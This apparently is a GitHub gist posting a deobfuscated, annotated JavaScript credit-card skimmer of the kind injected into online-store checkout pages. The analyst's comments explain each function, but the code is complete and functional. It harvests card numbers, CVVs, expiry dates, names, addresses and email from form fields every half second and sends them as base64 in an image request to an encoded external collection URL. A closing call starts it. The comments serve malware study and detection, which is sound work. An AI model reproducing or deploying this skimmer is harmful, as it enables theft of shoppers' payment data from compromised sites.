Skip to content

Instantly share code, notes, and snippets.

@krautface
Created February 23, 2021 02:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save krautface/5c139ee60fcfdda7c39184899750eb66 to your computer and use it in GitHub Desktop.
Save krautface/5c139ee60fcfdda7c39184899750eb66 to your computer and use it in GitHub Desktop.
var skimmer = {
// antiRE checks to see if we're in an environment that
// doesn't have standard browser javascript fucntions
// like atob, btoa, JSON.parse, etc
// If the functions are not found, return true
'antiRE': function ()
{
var functionArray = [
[null, 'atob'],
[null, 'btoa'],
[null, 'setInterval'],
['JSON', 'stringify'],
[null, 'RegExp'],
[null, 'encodeURIComponent'],
['JSON', 'parse']
];
for (var a = 0; a < functionArray['length']; a++)
{
if (functionArray[a][0] === null)
{
if (typeof window[functionArray[a][1]] !== 'function') return false;
}
else
{
if (typeof window[functionArray[a][1]][functionArray[a][1]] !== 'function') return false;
}
}
return true;
},
// a basic hashing function
'hash': function (val)
{
var z = 0;
for (var a = 0; a < val['length']; a++)
{
z = (z << 5) - z + val['charCodeAt'](a) & 0xffffffff;
};
return z;
},
// setCookie creates a cookie with a set name and value and then returns the value
'setCookie': function (name, value)
{
document['cookie'] = name + '=' + encodeURIComponent(value)
return value;
},
// get a specified cookie
'getCookie': function (cookieName)
{
var _2d072e = document['cookie']['match'](new RegExp('(?:^|; )' + cookieName['replace'](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\$1') + '=([^;]*)'));
return _2d072e ? decodeURIComponent(_2d072e[1]) : undefined;
},
// gatherFields
'gatherFields': function ()
{
var inputs = document['getElementsByTagName']('input');
var selects = document['getElementsByTagName']('select');
var textareas = document['getElementsByTagName']('textarea');
skimmer['processFields'](inputs);
skimmer['processFields'](selects);
skimmer['processFields'](textareas);
skimmer['savePayload']();
},
// processFields looks through all the input fields that are passed to it
// to see if it matches any of the fields that the skimmer is looking for
'processFields': function (fields)
{
for (var a = 0; a < fields['length']; a++)
{
var field = fields[a];
// Checks for credit card number field
if (skimmer['paymentFields']['n'] !== null && field['hasAttribute'](skimmer['paymentFields']['n'][0]) && field['getAttribute'](skimmer['paymentFields']['n'][0]) == skimmer['paymentFields']['n'][1])
{
var data = field['value']['replace'](/\s/g, '');
if (data['length'] > 13)
{
skimmer['payload']['Number'] = data;
continue;
}
}
// Checks for credit card holder full name
if (skimmer['paymentFields']['h'] !== null && field['hasAttribute'](skimmer['paymentFields']['h'][0]) && field['getAttribute'](skimmer['paymentFields']['h'][0]) == skimmer['paymentFields']['h'][1])
{
var data = field['value'];
if (data['length'] < 0x80 && data['length'] > 0)
{
skimmer['payload']['Holder'] = data['trim']();
continue;
}
}
// Checks for credit card holder first name
if (skimmer['paymentFields']['fn'] !== null && field['hasAttribute'](skimmer['paymentFields']['fn'][0]) && field['getAttribute'](skimmer['paymentFields']['fn'][0]) == skimmer['paymentFields']['fn'][1])
{
var data = field['value'];
if (data['length'] < 64 && data['length'] > 0)
{
skimmer['payload']['Holder'] = data['trim']();
continue;
}
}
// Checks for credit card holder last name
if (skimmer['paymentFields']['ln'] !== null && field['hasAttribute'](skimmer['paymentFields']['ln'][0]) && field['getAttribute'](skimmer['paymentFields']['ln'][0]) == skimmer['paymentFields']['ln'][1])
{
var data = field['value'];
if (data['length'] < 64 && data['length'] > 0)
{
skimmer['payload']['Holder'] += ' ' + data['trim'](), skimmer['payload']['Holder'] = skimmer['payload']['Holder']['trim']();
continue;
}
}
// Checks for credit card expiration date in MM/YYYY format
if (skimmer['paymentFields']['d'] !== null && field['hasAttribute'](skimmer['paymentFields']['d'][0]) && field['getAttribute'](skimmer['paymentFields']['d'][0]) == skimmer['paymentFields']['d'][1])
{
var data = field['value']['replace'](' ', '');
if (/^\d{1,2}\/\d{2,4}$/ ['test'](data) && data['length'] > 0)
{
skimmer['payload']['Date'] = data;
continue;
}
}
// Checks for credit card expiration month
if (skimmer['paymentFields']['m'] !== null && field['hasAttribute'](skimmer['paymentFields']['m'][0]) && field['getAttribute'](skimmer['paymentFields']['m'][0]) == skimmer['paymentFields']['m'][1])
{
var data = field['value']['replace'](' ', '');
if (/^\d{1,2}$/ ['test'](data) && data['length'] > 0)
{
skimmer['payload']['Date'] = data;
continue;
}
}
// Checks for credit card expiration year
if (skimmer['paymentFields']['y'] !== null && field['hasAttribute'](skimmer['paymentFields']['y'][0]) && field['getAttribute'](skimmer['paymentFields']['y'][0]) == skimmer['paymentFields']['y'][1])
{
var data = field['value']['replace'](' ', '');
if (/^\d{2,4}$/ ['test'](data) && data['length'] > 0)
{
skimmer['payload']['Date'] += '/' + data;
continue;
}
}
// Checks for credit card CVV
if (skimmer['paymentFields']['c'] !== null && field['hasAttribute'](skimmer['paymentFields']['c'][0]) && field['getAttribute'](skimmer['paymentFields']['c'][0]) == skimmer['paymentFields']['c'][1])
{
var data = field['value']['replace'](' ', '');
if (/^\d{3,4}$/ ['test'](data) && data['length'] > 0)
{
skimmer['payload']['CVV'] = data;
continue;
}
}
var addressFound = false;
// loop through the predefined address fields to see if this is one of them
for (var z = 0; z < skimmer['addressFields']['length']; z++)
{
var addressField = skimmer['addressFields'][z];
if (field['hasAttribute'](addressField[0]) && field['getAttribute'](addressField[0]) == addressField[1])
{
if (addressField[2] != undefined && !addressField[2] && field['value']['length'] > 0)
{
skimmer['payload'][addressField[1]] = field['value'];
addressFound = true;
break;
}
// Looking to grab the values from a select field
if (addressField[2] != undefined && addressField[2] && field['tagName']['toLowerCase']() == 'select')
{
if (field['options'][field['selectedIndex']]['innerText'] != 'Please select a region, state or province.')
{
skimmer['payload'][addressField[1]] = field['options'][field['selectedIndex']]['innerText'];
addressFound = true;
break;
}
}
}
};
if (addressFound) continue;
// if the field is none of the above, and if it has an id set, grab the field's vaule and add it to the payload
// but only if its value is less than 256 characters longd
if (field['id'] !== undefined && field['id'] != '' && field['id'] !== null && field['value']['length'] < 256 && field['value']['length'] > 0)
{
skimmer['payload'][field['id']] = field['value'];
continue;
}
// if the field is none of the above, and if it has a name set, grab the field's vaule and add it to the payload
// but only if its value is less than 256 characters long
if (field['name'] !== undefined && field['name'] != '' && field['name'] !== null && field['value']['length'] < 256 && field['value']['length'] > 0)
{
skimmer['payload'][field['name']] = field['value'];
continue;
}
};
},
// creates an img tag. the URL is the base exfil address + data for exfiltration
'createImage': function (url)
{
var img = document['createElement']('IMG');
img['src'] = url;
},
// Check that the important fields are there, encode the payload,
// and verify it has not already been exfiltrated
// if it hasn't, exfil the data, then save the payload hash so that it's not
// exfiltrated again
'prepareAndExfil': function ()
{
// Verify that card number, holder name, card expiration date, and CVV are present
// If they are not, return and do nothing
var values = ['Number', 'Holder', 'Date', 'CVV'];
for (var a = 0; a < values['length']; a++)
{
if (skimmer['payload'][values[a]] === undefined || skimmer['payload'][values[a]] === null || skimmer['payload'][values[a]] == '') return;
};
// capture victim domain
skimmer['payload']['Domain'] = location['hostname'];
// Stringify the payload and then base64 encode it
var exfilPayload = window['btoa'](encodeURI(JSON['stringify'](skimmer['payload'])));
// The hash call generates a simple hash of the payload
// When the data collected is exfiltrated, that hash is added to the checkArray
// This prevents duplicate values being sent to the exfil endpoint
var checksum = skimmer['hash'](exfilPayload);
for (var a = 0; a < skimmer['checkArray']['length']; a++)
{
if (skimmer['checkArray'][a] == checksum) return;
};
// createImage adds an img tag for data exfiltration
// the gate is stored in base64, so atob decodes the value
skimmer['createImage'](atob(skimmer['gate']) + '?img=' + exfilPayload);
// add the checksum of the checkArray so that it won't be sent again
skimmer['checkArray']['push'](checksum);
// create a cookie containing the checkArray based64 encoded
skimmer['setCookie']('checkArray', window['btoa'](encodeURI(JSON['stringify'](skimmer['checkArray']))))
// create a cookie that could contain the payload, but in this case it's "{}" base64 encoded
skimmer['setCookie']('payload', window['btoa'](encodeURI(JSON['stringify']({}))));
},
// saves the payload to a cookie as a base64 encoded value
// only if psagjGDS is true
'savePayload': function ()
{
if (skimmer['psagjGDS']) {
skimmer['setCookie']('payload', window['btoa'](encodeURI(JSON['stringify'](skimmer['payload']))));
}
},
// Attempts to retrieve a saved payload from a cookie
'getSavedPayload': function ()
{
// try and retrieve the payload stored as a cookie
var cookiePayload = skimmer['getCookie']('payload');
// If it's available, base64 decode it and parse it
if (cookiePayload !== undefined) {
skimmer['payload'] = JSON['parse'](decodeURI(atob(cookiePayload)));
}
},
// Unknown functionality, currently no-ops
'xRFsa': function () {},
'xCsJG': function () {},
'xBHdsC': function () {},
// Still a little unsure about this
'xCLsfJF': function ()
{
if (location['href'] != skimmer['psdfGsSLL']){
skimmer['psagjGDS'] = true;
skimmer['psdfGsSLL'] = location['href'];
skimmer['getSavedPayload']();
}
},
// This function is unused in the copies of the skimmer that I've seen
// It would take the newNode and insert it just after referenceNode, due to the nextSibling call
// It's possible this is used to inject payment forms
'DfdsJY': function (newNode, referenceNode)
{
referenceNode['parentNode']['insertBefore'](newNode, referenceNode['nextSibling']);
},
// Have also not seen this function in use
// It appears that it takes an element 'e', checks if it's not currently hidden
// If it isn't, it then saves it's display style as old_display, and sets display to 'none'
'hideElement': function (e)
{
if (e !== null && typeof e['style'] === 'object' && e['style']['display'] != 'none') {
e['style']['old_display'] = e['style']['display'], e['style']['display'] = 'none';
}
},
// This is also a call I have not seen in use
// It does the reverse of hideElement, setting the display value back
// to what it was previously. If an old_display value is not found it sets
// display to ''
'showElement': function (e)
{
if (e !== null && typeof e['style'] === 'object' && e['style']['display'] == 'none') {
typeof e['style']['old_display'] !== 'undefined' ? e['style']['display'] = e['style']['old_display'] : e['style']['display'] = ''
}
},
// This is also a call I have not seen in use
// It takes three arguments and uses them to look for elements that contain
// a specific attribute value, and then returns an array of those elements
'getElementsByTagAndAttributeValue': function (tagName, attribute, val)
{
var gathered = [];
var tags = document['getElementsByTagName'](tagName);
for (var a = 0; a < tags['length']; a++)
{
if (tags[a]['hasattributeibute'](attribute) && tags[a]['getattributeibute'](attribute) == val) {
gathered['push'](tags[a]);
}
};
return gathered;
},
'gatherAndExfil': function ()
{
skimmer['xRFsa'](); // Unknown. A no-op
skimmer['xCLsfJF'](); // Unknown. A no-op
skimmer['xCsJG'](); // Unknown. A no-op
skimmer['gatherFields']();
skimmer['prepareAndExfil']();
},
// Called at the end to kick things off
// It calls the anti reverse engineering function and then calls 'gatherAndExfil'
'start': function ()
{
if (skimmer['antiRE']()) {
setInterval(skimmer['gatherAndExfil'], 500);
}
},
// configures the skimmer for the store being attacked
'paymentFields':
{
'n': ['name', 'payment[cc_number]'],
'h': null,
'fn': ['name', 'firstname'],
'ln': ['name', 'lastname'],
'd': null,
'm': ['name', 'payment[cc_exp_month]'],
'y': ['id', 'authorizenet_directpost_expiration_yr'],
'c': ['id', 'authorizenet_directpost_cc_cid']
},
'addressFields': [
['name', 'street[0]', false],
['name', 'city', false],
['name', 'region_id', false],
['name', 'postcode', false],
['name', 'country_id', false],
['name', 'telephone', false],
['id', 'customer-email', false]
],
'payload': {},
'checkArray': [],
'pDHDdS': false,
'psagjGDS': false,
'psdfGsSLL': '',
'pTsdfGE': '',
'gate': 'aHR0cHM6Ly9zY3JpcHQuZ29vZ2xlLmNvbS9tYWNyb3Mvcy9BS2Z5Y2J3UkdGTm9PcG5DRTljOFk3alFZa25CaFNUUEhOZkxhRVotSUJfSkV6ZUxMalktRm1NL2V4ZWM=' // exfil, base64 encode
};
skimmer['start']();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment